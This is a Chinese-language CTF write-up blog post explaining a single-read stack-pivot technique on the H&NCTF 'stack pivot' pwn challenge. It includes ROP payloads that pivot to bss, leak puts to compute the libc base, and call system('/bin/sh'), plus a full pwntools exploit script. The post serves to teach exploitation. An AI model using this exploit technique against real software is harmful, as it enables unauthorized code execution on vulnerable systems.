只有一次读入的栈迁移(以H&N的一道pwn题为例)

在之前学习的栈迁移中,大部分都是给了两次的读入以及puts打印,从而实现先泄露rbp再leaveret实现栈迁移,但是在具体的题目中发现还有只有一次读入的栈迁移(2024羊城杯,2025H&N)
因此,在基于之前的知识中,我们要构造更为精密的payload以及ROP链

1、思路

只有一次读入但是能够溢出到ret处,首先想法是修改rbp值为bss段上,然后调用read函数使得读入时能到bss段上,有rw权限即可

关于bss段的选,之前有几个没搞明白的,一个为什么有时候要有bss=elf.bss()+0x500是因为有时候函数之前互相调用会使得参数到一些不可写不可读的地方,再就是关于rwx,x也就是可执行段是在shellcode编写时要求的,因为shellcode是自己写的汇编需要执行权限,而如果是ROP或者调用的话只需要地址可读可写就行了

随后就是在确定好写入地址的read中操作,通过栈迁移构造ROP泄露libc,但是注意,这就不是在栈上的栈迁移而是在bss段上的栈迁移了,不过总体来讲没差
最后就是libc的一般套路了,也就是system(bin/sh)提权了。

2、具体操作(以H&NCTF的stack pivot为例)

在完成第一步时,就需要简单的栈溢出以及修改rbp值ret至read函数
payload=b'a'*offset+p64(bss)+p64(read_addr)
这时interactive()就会发现成功执行
attachments/Pasted image 20250718143250.png
这里我们是可以执行读入操作的
attachments/Pasted image 20250718144403.png
看调试会跳到read函数
随后就是libc_leak的ROP构造payload1=p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(rbp)+p64(bss+0x300+0x40)+p64( 0)+p64(0)+p64(read)+p64(bss-8)+p64(leave)
attachments/Pasted image 20250718145952.png
在调试过程中可以看到确实跳转了puts的plt
attachments/Pasted image 20250718150036.png
栈迁移成功,实现了再次调用read
最后的payload也就是system(bin/sh)了
payload3=(p64(rdi)+p64(binsh)+p64(system_addr)).ljust(0x40,b'\x00')+p64(bss+0x300- 0x8)+p64(leave)
最终的exp:

from pwn import *
context(arch='amd64',os='linux',log_level='debug')
elf=ELF('./pwn1' )
libc=ELF('./libc.so.6' )
io=process('./pwn1' )
#io=remote('27.25.151.198',33585)
'''
gdb.attach(io)
pause()
'''
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
rdi=0x401263
read=0x4011b7
leave=0x4011ce
bss=elf.bss()+0x500
vuln=0x40119f
rbp=0x40125f
ret=0x401261
io.recvuntil(b"can you did ?")
payload=b'deadbeef'+b'a'*0x38+p64(bss+0x40)+p64(read)
print(hex(bss+0x40))
io.send(payload)

payload1=p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(rbp)+p64(bss+0x300+0x40)+p64(
0)+p64(0)+p64(read)+p64(bss-8)+p64(leave)
io.send(payload1)
io.recvuntil(b'\n')
puts_addr=u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
print(hex(puts_addr))
libc_base = puts_addr - libc.sym["puts"]
print("libc_base: ", hex(libc_base))
system_addr = libc_base + libc.sym["system"]
binsh = libc_base + next(libc.search(b"/bin/sh"))
#gdb.attach(io)
payload3=(p64(rdi)+p64(binsh)+p64(system_addr)).ljust(0x40,b'\x00')+p64(bss+0x300-
0x8)+p64(leave)
pause()
io.send(payload3)
io.interactive()

本文章没有非常详细的对原理等进行介绍讲解,有一个更好讲解的文章可以参考这个大佬的
'【PWN · 栈迁移 | one-read】[羊城杯 2024]pstack_羊城杯栈迁移-CSDN博客'

posted @ 2025-07-18 15:17  w0e6x  阅读(67)  评论(0)    收藏  举报